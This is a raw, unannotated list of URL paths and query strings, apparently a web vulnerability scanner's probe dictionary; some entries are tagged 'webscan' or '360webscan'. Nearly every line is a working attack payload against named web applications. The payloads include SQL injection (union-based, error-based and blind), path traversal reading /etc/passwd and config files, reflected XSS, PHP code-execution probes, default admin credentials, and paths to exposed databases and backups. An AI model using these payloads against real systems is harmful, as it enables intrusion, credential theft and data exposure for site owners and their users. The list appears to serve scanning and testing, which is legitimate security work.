/TEXTBOX2.ASP?action=modify&news%69d=122%20and%201=2%20union%20select%201,2,42873,4,5,6,7%20from%20shopxp_admin
/Tools/FileTool/Manage/Notepad.aspx?objfile=/etc/passwd
/Tools/FileTool/Manage/Notepad.aspx?objfile=C:/windows/win.ini
/TownsWeb/PageModule/MessageInfoList.aspx?MediaID=1'%20AND%201=CHAR(108)%20--
/TownsWeb/PageModule/MessageInfoSender.aspx?msgID=1'%20AND%201=CHAR(107)%20--
/UserCenter/platform/user.aspx?page=2&UnLock=True&UserNameCollection=1')%20and%200%3C(select%20webscan);--
/UserSecurityController.do?method=getPassword&step=2&userName=admin
/VIEWGOOD/ADI/portal/GetCaption.ashx?CaptionType=1'%20AND%20(SELECT%20CHAR(86))%3E0--&AssetID=1&CaptionName=1
/VIEWGOOD/WebMedia/search.aspx?key=0&searchCondition=1')%20AND%201=(SELECT%20CHAR(106))%20--&rnd=0.85
/ViewSource/ProExamineView.aspx?ActivityInstanceId=0&ActivitySchemeGuid=00000000-0000-0000-0000-00000000000'--
/ViewSource/SrcStencilList.aspx?listType=1&SerailNO=11xxxxxxxx&buqiId=22&infoflowId=1122'%20and/**/1=char(106)--
/WEB-INF/
/WEB-INF/database.properties
/WEB-INF/web.xml
/WS/WebService.asmx
/Warn/AjaxHandle/AjaxDeleteMsgInfo.ashx?action=DeleteMsg&msgid=(CONVERT(INT,(SELECT%20CHAR(99)%2bCHAR(86)%2bCHAR(94)%2bCHAR(101)%2bCHAR(93))))
/WarnMaintence/AJaxHandler/UpdateSortNo.ashx?fnName=1&DeptCd=1&SortNo=(select%20char(86)%2bchar(95))
/WarnMaintence/SelectContacts.aspx?fnName=UpdateContact&selectedNodes=1&contactDeptCD=(select%20char(88)%2bchar(95))
/Web.config
/Web/Exam_List.aspx?typeid=18%20or%20(char(106)=0)
/Web/Interface/Pages/Frame_StudentBlog.aspx?i_rang=1%20and%201=(select%20char(96)%2bchar(98))&asid=321001
/Web/Interface/Pages/Frame_StudentBlog.aspx?i_rang=1&asid=1001%20and%201=(select%20char(76)%2bchar(98))
/WebService/
/Website/OnlineSurveyResults.jsp?idhao=1'%20union%20all%20select%20null,chr(119)%7C%7Cchr(101)%7C%7Cchr(98)%7C%7Cchr(115)%7C%7Cchr(99)%7C%7Cchr(97)%7C%7Cchr(110)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%7C%7Cchr(60)%20from%20sysibm.sysdummy1--
/Website/contentshow.jsp?ColumnCode=-12'%20union%20all%20select%20CHR(119)%7C%7CCHR(101)%7C%7CCHR(98)%7C%7CCHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(110)%7C%7CCHR(58)%7C%7CCHR(105)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)%20from%20DUAL%20--
/Website/newsshow.jsp?id=-12%20UNION%20%20ALL%20SELECT%20%20NULL,NULL,NULL,NULL,CHR(119)%7C%7CCHR(101)%7C%7CCHR(98)%7C%7CCHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(110)%7C%7CCHR(58)%7C%7CCHR(105)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100),NULL,NULL,NULL,NULL%20FROM%20DUAL
/WidgetsHandler.ashx?widget=reer'%20where%201=1%20AND%20char(106)%3E0--
/WorkFlow/wf_get_fields_approve.aspx?template_id=(select%20char(99)%2bchar(87))
/WorkFlow/wf_office_file_history_show.aspx?id=1'%20and%20(select%20char(81)%2bchar(87))%3E0%20--
/WorkFlow/wf_work_form_save.aspx?office_missive_id=(select%20char(99)%2bchar(77))
/WorkFlow/wf_work_print.aspx?idlist=(select%20char(98)%2bchar(67))
/WorkFlow/wf_work_stat_setting.aspx?template_id=(select%20char(99)%2bchar(67))
/WorkPlan/plan_template_preview.aspx?template_id=(select%20char(99)%2bchar(65))
/_database/_database.mdb
/_database/e3b3ee1b5da271ai.mdb
/_database/qiye_free.asp
/_vti_bin/_vti_adm/admin.dll
/_vti_bin/_vti_aut/author.dll
/_vti_bin/shtml.exe?_vti_rpc
/_vti_cnf/
/abc,abc,abc,$%7B@print(md5(base64_decode(MzYwd2Vic2Nhbg)))%7D/
/abc-abc-abc-$%7B@print(md5(base64_decode(MzYwd2Vic2Nhbg)))%7D/
/abc/abc/abc/$%7B@print(md5(base64_decode(MzYwd2Vic2Nhbg)))%7D
/about/?module=../robots.txt&fmodule=7
/aboutus.php?type=1'and%20(select%201%20from%20(select%20count(*),concat(md5(521122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
/acc/clsf/filters/editProtocolFilter.php?protoNum=xxx%22%20union%20select%20111,'webscan','md5(0x7765627363616e)',3%20from%20USERINFO--
/acc/vpn/download.php?f=../../../../../etc/passwd
/account.t?op=showAccountList
/adksvod/PublicFolder/AuthorVideo.aspx?AuthorID=-4448%20UNION%20ALL%20SELECT%20CHAR%2858%29%2bCHAR%28112%29%2bCHAR%28112%29%2bCHAR%28112%29%2bCHAR%2858%29%2bCHAR%2886%29%2bCHAR%2858%29%2bCHAR%28113%29%2bCHAR%28113%29%2bCHAR%2858%29--%20
/adksvod/PublicFolder/ShareVideoList.aspx?TagID=-1406%25%27%20UNION%20ALL%20SELECT%20CHAR%2858%29%2bCHAR%28112%29%2bCHAR%28112%29%2bCHAR%28112%29%2bCHAR%2858%29%2bCHAR%2886%29%2bCHAR%2858%29%2bCHAR%28113%29%2bCHAR%28113%29%2bCHAR%28113%29%2bCHAR%2858%29--%20
/adksvod/PublicFolder/VideoList.aspx?userid=1&TagID=101%25%27%20AND%202358%3DCONVERT%28INT%2C%28CHAR%2858%29%2bCHAR%28112%29%2bCHAR%28112%29%2bCHAR%28112%29%2bCHAR%2858%29%2bCHAR%2886%29%2bCHAR%2858%29%2bCHAR%28113%29%2bCHAR%28113%29%2bCHAR%28113%29%2bCHAR%2858%29%29%29%20--&type=catalog&level=3
/admin.asp
/admin.aspx
/admin.cfg
/admin.jsp
/admin.php
/admin.php?c=ajax&f=exit&filename=opt&group_id=1%20union%20select%203,1,0,md5(1122),account,6%20from%20qinggan_adm%20where%20id%20like%201%23&identifier=1
/admin.php?c=js&f=index&ext=../config.php
/admin.php?mod=db&act=login
/admin/
/admin/Admin_Config.asp
/admin/EditorAdmin/upload.asp?id=1&d_viewmode=&dir=../admin
/admin/Role/Role_List.aspx
/admin/Site/AddDomain.aspx?Edit=1&id=1000/**/%20/**/union/**/%20/**/all/**/%20/**//**/SELECT/**/%200,/**/CHAR(106)%2bCHAR(106)%2bCHAR(106),0,0,'',0,2014,0/**/FROM/**/%20ZL_Manager
/admin/_content/_About/AspCms_AboutEdit.asp?id=1%20and%201=2%20union%20select%201,2,3,4,5,loginname,7,8,9,password,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35%20from%20aspcms_user%20where%20userid=1
/admin/accounts_list.aspx?u_department_id=1'%20and%20(char(106)%2bchar(106))%3E0--
/admin/admin.asp
/admin/admin.aspx
/admin/admin.jsp
/admin/admin.php
/admin/admin/getpassword.php?action=next4&abt_type=2&password=123456&passwordsr=123456&array[0]=reer1122
/admin/admin_adminmodifypwd.aspx
/admin/admin_audit.php?status=1%27%29;phpinfo%28%29;//
/admin/admin_database.aspx
/admin/admin_login.asp
/admin/admin_login.aspx
/admin/admin_login.jsp
/admin/admin_login.php
/admin/ajax.asp?Act=modeext&cid=1%20and%201=2%20UNION%20select%20111%26Chr(13)%26Chr(10)%26username%26chr(58)%261%26Chr(13)%26Chr(10)%26password%26chr(58)%20from%205u_Admin&id=1%20and%201=2%20UNION%20select%201%20from%205u_Admin
/admin/backup.aspx
/admin/cs/login.jsp
/admin/do/proxy.php?method=get&target=http://class.omeeting.cn:80/push/35004/div_push_0/index.html&method=get&target=../../../../../../../../../../windows/win.ini
/admin/editor/db/ewebeditor.mdb
/admin/fileopen.asp?filename=../index.asp
/admin/fuwu_der.asp?id=5%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CCHR%28113%29%26CHR%28111%29%26CHR%28122%29%26CHR%28111%29%26CHR%28113%29%26CHR%28117%29%26CHR%2877%29%26CHR%28111%29%26CHR%28113%29%2CNULL%2CNULL%20FROM%20MSysAccessObjects%16
/admin/fuwu_modi.asp?id=5%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CCHR%28113%29%26CHR%28111%29%26CHR%28122%29%26CHR%28111%29%26CHR%28113%29%26CHR%28117%29%26CHR%2877%29%26CHR%28111%29%26CHR%28113%29%2CNULL%2CNULL%20FROM%20MSysAccessObjects%16
/admin/htmledit/db/ewebeditor.mdb
/admin/include/config.php?depth=../../templates/default/images/css/metinfo.css%00
/admin/include/del.asp?tableName=feedback&pk=id&pkValue=IIF(iamnotfunction(),1,0)
/admin/index.asp
/admin/index.jsp
/admin/index.php
/admin/index.php?_m=../template/css/login.css%00&_a=admin_list
/admin/login.asp
/admin/login.aspx
/admin/login.jsp
/admin/login.php
/admin/login/login.php
/admin/login/login_check.php?depth=../../templates/default/images/css/metinfo.css%00&admin_index=1
/admin/login_sys.asp
/admin/manage.jsp
/admin/manageAPP.php
/admin/message_der.asp?id=7%20union%20select%201,chr(97),chr(106),4,5%20from%20admin
/admin/payonline.php/login.php?table=information_schema.SCHEMATA%20where%201=(select%201%20from%20(select%20count(*),concat(0x7c,md5(1122),0x7c,floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
/admin/payonline.php?act=login&table=information_schema.SCHEMATA%20where%201=(select%201%20from%20%20(select%20count(*),concat(version(),0x7c,md5(1122),0x7c,floor(rand(0)*2))x%20from%20%20information_schema.tables%20group%20by%20x)a)%23
/admin/picupload.aspx
/admin/receive.php?signMsg=0FEBF34C4A2EBF825F60025D6C0576F2&version=%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E
/admin/sysadmin_view.asp
/admin/system/lang/lang.func.php?depth=../../../public/js/public.js%00
/admin/workingsituation/ajax.php?task_id=10039s&type=update_status&status=1s%27%20and%201%3D%28updatexml%281%2Cconcat%280x23%2C%28select%20md5%281122%29%29%2C0x23%29%2C1%29%29%23
/admin/workingsituation/check.php?uid=3%20and%201%3D%28updatexml%281%2Cconcat%280x5e24%2C%28select%20md5%281122%29%29%2C0x5e24%29%2C1%29%29&project=459&type=task&name=bbb
/admin/workingsituation/download_excel.php?day=30&start=&end=&project=0&uid=3%20and%201%3D%28updatexml%281%2Cconcat%280x5e24%2C%28select%20md5%281122%29%29%2C0x5e24%29%2C1%29%29%23&task=0
/admin/xiugai_zw.asp?id=-1%20union%20select%201,chr(106),3,4,5,chr(97)%26chr(58),7,8,9,10,chr(109),12,13%20from%20admin
/admin?code=1&n=webscan%22%20onmouseover=alert(42873);%20//
/admin_aspcms/_content/_Comments/AspCms_TabAdd.asp
/admin_aspcms/_content/_Spec/AspCms_SpecAdd.asp
/admin_aspcms/_content/_tag/aspcms_tag.asp
/admin_aspcms/_expand/_form/AspCms_FormFun.asp?action=del&FormField=reer&id=1122
/admin_aspcms/index.asp
/admincp.php?action=/../teach/exam&todo=autosavepaper&k=2&paperid=(select%201%20from%20%20(select%20count(*),concat(0x7c,md5(1122),0x7c,floor(rand(0)*2))x%20from%20%20information_schema.tables%20group%20by%20x)a)
/admincp.php?action=constructionresults&todo=list&do=1%20and%20(select%201%20from%20%20(select%20count(*),concat(0x7c,md5(1122),0x7c,floor(rand(0)*2))x%20from%20%20information_schema.tables%20group%20by%20x)a)#
/admincp.php?action=criterion&todo=list&id=1%20and%20(select%201%20from%20%20(select%20count(*),concat(0x7c,md5(1122),floor(rand(0)*2))x%20from%20%20information_schema.tables%20group%20by%20x)a)#
/admincp.php?infloat=yes&handlekey=123);alert(/webscan/);//
/admini/item/iteminfo.aspx
/admini/newstopic/newstopicinfo.aspx
/admini/question/question.aspx?ID=25'%20and%20char(106)%2bchar(106)%3E0%20--
/administrator/
/adminpage/
/ajax.aspx?type=GetAreaIDByName&AreaName=1'%20and%20char(106)%3E0--
/ajax.php?act=check_field&field_name=user_name&field_data=webscan%27
/ajax.php?act=verify_ecv&ecvsn=360scan%27
/ajax.php?act=verify_ecv&ecvsn=360scan&ecvpassword=webscan%27
/ajax.php?action=dig&module=members+where+1%3d1+and+(select+1+from+(select+count(*)%2cconcat((select+concat(0x3a%2cmd5(1122)%2c0x3a)+from+boka_members+where+uid%3d1)%2cfloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
/ajax.php?action=letter&letter=a&moduleid=1//***/union//***/select//***/1,2,concat(username,0x7c,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23//***/from//***/destoon_member//***/where//***/groupid=1//***/limit//***/0,1%23
/ajax.php?infloat=yes&handlekey=123);alert(/webscan/);//
/ajax.php?mod=check&code=email&email=a%2527%2bor%2b%28role_id%3D2%2band%2bascii%28substring%28%252756789%2527%2bfrom%2b2%29%29%3D54%29%2bor%2b%25272%2527%3D%25271&submit=
/ajax/execphpcode.php?DontCheckLogin=1&phpCodeType=0&phpCode=exit(md5(webscan));
/ajax/getemaildata.php?DontCheckLogin=1&filePath=../../../tsvr/turbocrm.ini
/ajax/search/AjaxSearch.aspx?PSize=1&Brf=3&Cnt=4&ClmnIn=A&Type=NS&S=1'and%201=2%20union%20select%20top%201%20NULL,NULL,NULL,NULL,chr(97)%2bchr(58)%2bchr(99),NULL,chr(99)%2bchr(58)%2bchr(97)from%20admin%16
/ajax_check.php/login.php/login.php/login.php/login.php/login.php/login.php/login.php/login.php/login.php?user_edit_account=-1%22%20union%20select%20md5%280x045154%29%23
/ajax_check.php/login.php/login.php?ippoolID=-1%22%20UNION%20SELECT%201,2,3,md5(0x045154),5,6%23
/ajax_check.php/login.php/login.php?order_check_account=-1'%20union%20select%201,2,md5(0x045154)%23
/ajax_check.php/login.php/login.php?productID1=-1'%20UNION%20SELECT%201,2,3,4,md5(0x045154),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27%23
/ajaxfs.php?tooltip=5254'%20and%20(select%201%20from%20(select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a);%20%23
/allcity.php?stringID=_pre-qb_members%20where%201%20and%20(select%201%20from%20%20(select%20count(*),concat((select%20concat(0x3a,0x686B3A313A31393937,0x3a)%20from%20qb_members%20limit%200,1),floor(rand(0)*2))x%20from%20%20information_schema.tables%20group%20by%20x)a)%23
/announcement.php?infloat=yes&handlekey=123);alert(/webscan/);//
/answeredcaselist.aspx?OUName=1'%20and%201=char(106)%20--
/api.php?act=../../robots.txt%00:template_info&api_version=1.0&app=12
/api.php?act=1&appname=../../core/html/pages/about.html%00
/api.php?action=File&ctrl=download&path=api.php
/api.php?c=api&f=phpok&id=_sublist&param[pid]=1%20union%20select%20concat(md5(1122),0x7c,pass),2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9%20from%20qinggan_user%23&param[phpok]=1
/api.php?c=opt&f=index&group_id=-1%20union%20select%201,2,0,md5(1122),5,6&identifier=reer
/api.php?id=_arclist&c=api&f=phpok&param[pid]=41&param[notin]=41)%20Union%20Select%201,md5(1122),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--%20
/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=..%5C..%5C..%5Cphpsso_server%5Ccaches%5Ccaches_admin%5Ccaches_data%5Capplist&amp;path=admin
/api.php?op=map&maptype=1&city=test%3Cscript%3Ealert%28/42873/%29%3C/script%3E
/api.php?op=map&maptype=1&defaultcity=%E5%8C%97%E4%BA%AC&api_key=%22%3E%3C/script%3E%3Cscript%3Ealert%28/42873/%29;%3C/script%3E
/api.php?op=map&maptype=1&defaultcity=%E5%8C%97%E4%BA%AC&field=%29%3C/script%3E%3Cscript%3Ealert%2842873%29%3C/script%3E//
/api.php?op=map&maptype=1&defaultcity=%e5%22;alert%28/42873/%29;//
/api.php?op=video_api&pc_hash=1&uid=1&snid=%3C/script%3E%3Cscript%3Ealert(/42873/)%3C/script%3E//&do_complete=1%20
/api.php?op=video_api&pc_hash=1&uid=1&snid=1122%22%20onmouseover=alert(42873)//&do_complete=1
/api.php?op=video_api&pc_hash=test%22/%3Ec%3Cscscriptript%3Ealert(42873)%3C/scscriptript%3E&&do_complete=1&uid=1&snid=1
/api.php?op=video_api&uid=1&snid=1&pc_hash=%3C/script%3E%3Cscript%3Ealert(/360/)%3C/script%3E//&do_complete=1
/api/datacall.php?type=user&by=360webscan&order=/**/&limit=1
/api/uc.php?code=8e347f1oWfxZ5isPSs7QBbA78aaJwxZCvdIIfY2niRLsrqrg0dHBfrkRSaOtzGxkncaWtRGPVKjVbHwZJSlI1JFH9WBN5wj%2Fsqj2Xg
/api/uc.php?code=c2f4ZUxs8zoTQY250F1rAWrUX3HdH02DmJ%2B35SmPeYiZ4McfmrkhoXXy9iGUKw86jzY%2B%2F43CtUlnJtwQFcGhRIgJlqvJeZbHGdNSNyMC2VT9SjlxPpWveWUzynqY4%2FQnruPHVh%2FTxtjrrdBZhZXOqEDm1JBEB10PlawipFuTPtFKt08G2MSMWRRL5dKcXsmwIXKj4YJH%2BBD4cnwYwZVvqyjSTqMoB9nB6xYfwhedhJp%2B6Y%2BC5ZgHq0QnvYCmgGcHds1hKQDzp7vnEnyQSrFIZsfMTpbTIU8jrGOqBg
/api/uc.php?code=e58bJh4lGn7%2F87F38CD3nphwoQNenQoOElYFu9%2FBvZV2gsgxPnmRmq3iJZcx%2FF1LPelzduVe3ZFJOD4Y0vpB388niaie8ECa%2FYA%2BqA13TPGzW5EpO%2FHaShEiHdaEqgyeRf%2Bh1EBCq3UASAPet%2BTI4R8tIKfU05ENmo5bK8Fj6DHvC9%2BtIksTeaOgmBzDwHdMbbLQwjGtvauIjUNnf2FglhdFD3mQdDiOq2rSSWxWPkQEYV0Z5ihe2YhVrmUlAVJqSshZ3wh5zdfjWzCUnP4I7k3f%2B2khp64tgUEbwIdcoV38Ei47PSd5h02j9uBvIs7yg%2ByfJ7zp5ArNiq3wuDcy9LtAXup68g
/api/uc.php?code=fd92NqvC0fvDd3K8T4F9wiNlGHGg%2Bz13GSxyds04jK36mfZacZwYY5bVdHPO0hSTj4Zd4Q7mhGp70q%2BosC6PYhZZQxKJp3vOR5z5SQ
/api/uc/uc.php?code=380dDbp0QmFDGmUR2ENTw7v%2B1YVER%2BKFyWB3YQN0OARXAr%2BIV4p1g3Ou5yA2CG6k%2BYdUOSb%2BwsiMwU4aqz2Gmtae60ut%2Fw
/api/upload/swfthumbnail.php?id=../../include/common.inc.php
/apps/include.php?file=index.php
/article.php?act=list&catid=0&keyword=%d5'%20and(select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20distinct%20concat(0x7e,0x27,schema_name,0x27,0x7e)%20FROM%20information_schema.schemata%20LIMIT%200,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20and%201=1%23
/article/file/?method=out&file=../../../../application/config/config.ini.php
/article/file/cid/-306/?file=../../../../../../../../../../etc/passwd&method=in
/asearch.do?status=showpage&LanguageType=1%27%20UNION%20ALL%20SELECT%20NULL%2Cchar%28119%29%2bchar%28101%29%2bchar%2898%29%2bchar%28115%29%2bchar%2899%29%2bchar%2897%29%2bchar%28110%29%2bchar%2858%29%2bchar%28105%29%2bchar%2859%29%2bchar%28102%29%2bchar%28105%29%2bchar%28110%29%2bchar%28100%29%2CNULL%2CNULL--%20
/ask/search_ajax.php?q=s%bb%27
/asord/asord_searchresult.php?type=02')%20UNION%20ALL%20SELECT%20CHR(113)%7C%7CCHR(98)%7C%7CCHR(109)%7C%7CCHR(121)%7C%7CCHR(113)%7C%7CCHR(107)%7C%7CCHR(97)%7C%7CCHR(58)%7C%7CCHR(97)%7C%7CCHR(58)%7C%7CCHR(97)%7C%7CCHR(113)%7C%7CCHR(76)%7C%7CCHR(89)%7C%7CCHR(76)%7C%7CCHR(113)%7C%7CCHR(103)%7C%7CCHR(116)%7C%7CCHR(100)%7C%7CCHR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL%20FROM%20DUAL--%20&q=312321
/aspnet/
/attachment.php?infloat=yes&handlekey=123);alert(/webscan/);//
/avcon/av_downavstream/streamoforg/selectd.php?get=11234
/axis2/axis2-admin/login?userName=admin&password=axis2&submit=+Login+
/backup/
/baseNews_view.jsp?newsId=-12'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20--
/basket.asp?h%77_id=513%20and%201=2
/besthr/index.php?type=1%20and%20@%60%5C'%60%20or%20ascii(substring((select%20a_user%20from%20job_admin),1,1))=97%20%23@%60%5C'%60
/bit-xxzs/xmlpzs/bsdetail.asp?id=-306'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(99)%7C%7CCHR(102)%7C%7CCHR(114)%7C%7CCHR(101)%7C%7CCHR(101)%7C%7CCHR(114)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(106)%7C%7CCHR(120)%7C%7CCHR(58)%7C%7CCHR(62)))%20FROM%20DUAL)%20--
/bit-xxzs/xmlpzs/builddetail.asp?buildid=1'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(99)%7C%7CCHR(102)%7C%7CCHR(114)%7C%7CCHR(101)%7C%7CCHR(101)%7C%7CCHR(114)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(106)%7C%7CCHR(120)%7C%7CCHR(58)%7C%7CCHR(62)))%20FROM%20DUAL)%20--
/bit-xxzs/xmlpzs/fwsyqdetail.asp?certno=1'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(99)%7C%7CCHR(102)%7C%7CCHR(114)%7C%7CCHR(101)%7C%7CCHR(101)%7C%7CCHR(114)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(106)%7C%7CCHR(120)%7C%7CCHR(58)%7C%7CCHR(62)))%20FROM%20DUAL)%20--
/bit-xxzs/xmlpzs/nowdetail.asp?id=1'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(99)%7C%7CCHR(102)%7C%7CCHR(114)%7C%7CCHR(101)%7C%7CCHR(101)%7C%7CCHR(114)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(106)%7C%7CCHR(120)%7C%7CCHR(58)%7C%7CCHR(62)))%20FROM%20DUAL)%20--
/bit-xxzs/xmlpzs/ysxkdetail.asp?permitsaleno=-306'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(99)%7C%7CCHR(102)%7C%7CCHR(114)%7C%7CCHR(101)%7C%7CCHR(101)%7C%7CCHR(114)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(106)%7C%7CCHR(120)%7C%7CCHR(58)%7C%7CCHR(62)))%20FROM%20DUAL)%20--
/biz.php?ctl=user&act=register&step=4&sid=1%20and%200%20union%20select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,md5(1122),27,28
/blue_show.aspx?paperName=hehe'%20and%201=(select%20char(106))%20--&qnum=20
/bom.php?dir=.
/bookdetail.aspx?id=-311%20union%20all%20Select%208%2CCHAR%28119%29%2bCHAR%28101%29%2bCHAR%2898%29%2bCHAR%28115%29%2bCHAR%2899%29%2bCHAR%2897%29%2bCHAR%28110%29%2bCHAR%2858%29%2bCHAR%28105%29%2bCHAR%2858%29%2bCHAR%28102%29%2bCHAR%28105%29%2bCHAR%28110%29%2bCHAR%28100%29%2C8%2C8%2C8%2C8%2C8%2C8%2C8%2C8%2C8%2C8%2C8%2C8%2C8%2C8%2C8%2C8%2C8%2C8%2C8%2C8--
/boot/phpConfig/tb_admin.txt
/bos/desktop/RequestOrResponse.aspx?type=hits&isHits=Y&contentUid=%27%2b+(select+convert(int%2c(CHAR(106)%2bCHAR(79)))+FROM+syscolumns)+%2b%27
/bqbzDetail.do?id=1'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(99)%7C%7CCHR(102)%7C%7CCHR(114)%7C%7CCHR(101)%7C%7CCHR(101)%7C%7CCHR(114)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(106)%7C%7CCHR(120)%7C%7CCHR(58)%7C%7CCHR(62)))%20FROM%20DUAL)%20AND%20'1122'='1122
/broadcast/displaynewspic.aspx?id=1/**/and/**/1=char(106)/**/
/browse/browse_user_db.php
/bugfree/install/index.php?action=upgraded
/bulletin/bulletin_template_show.aspx?id=(select%20char(86))
/burgherServiceDetail.do?bs=1&serviceType=1'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(99)%7C%7CCHR(102)%7C%7CCHR(114)%7C%7CCHR(101)%7C%7CCHR(101)%7C%7CCHR(114)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(106)%7C%7CCHR(120)%7C%7CCHR(58)%7C%7CCHR(62)))%20FROM%20DUAL)%20AND%20'1122'='1122
/business/buildingrooms_xml.asp?cancelBldroomShow=2&client_buildID=1%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)&client_mainno=0&client_mainTable=unrelatedresource&client_realtypeID=-1&client_showMode=&client_showRoomCond=&client_stanID=1610&floorEnd=-100&floorStart=-100&functiontype=6&pmBldRoomID=undefined&roomNoEnd=-100&roomNoStart=-100&sid=
/cache/bak_mysql.txt
/cacti.sql
/cai_study.asp?FN=cai/test.flv&cls_no=&cai_no=lzgy&stu_no=1122'%20and%201=char(106);--
/caigou/NoticeList.aspx?Type=%27%2b+(select+convert(int%2cCHAR(106)%2bCHAR(105)%2bCHAR(120))+FROM+syscolumns)+%2b%27
/capturedownload.php?action=1&picpath=config.ini
/card.php/login.php/login.php/login.php/login.php?cardNumber=-1%27%20UNION%20SELECT%201,md5(0x045154),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17%23
/card_search.php/login.php/login.php/login.php?cardNumber=-1'%20UNION%20SELECT%201,md5(0x045154),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17%23
/card_sold_print.php/login.php/login.php/login.php?ID=9999999999'%20UNION%20SELECT%201,md5(0x045154),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17%23
/cart.aspx?act=buy&bindingid=1%20and%201=char(106)--
/cart.aspx?act=spikebuy&spikeid=3%20and%201=char(106)%2bchar(120)%20--
/cartstep1.aspx?act=area&id=@@version
/case/?settings[met_img]=met_admin_table%20where%201=1%20--%201
/category/xwxc/p/p/p/p/p/p/p/$%7B@assert(exit(md5(0x41545)))%7D/p/p/1.html
/cctrl/admin/news/contShow.php?id=2'%20and%20(select%201%20from%20%20(select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20%20information_schema.tables%20group%20by%20x)a);%23
/cctrl/admin/news/contShow.php?id=2'%20and%20(select%204391%20from(select%20count(*),concat(0x7e,(mid((ifnull(cast(md5(0x4515)%20as%20char),0x20)),1,50)),0x7e,floor(rand(0)*2))x%20from%20information_schema.character_sets%20group%20by%20x)a)%20and%20'1'='1
/cctrl/admin/purview/purview.php
/cctrl/backup/index.php
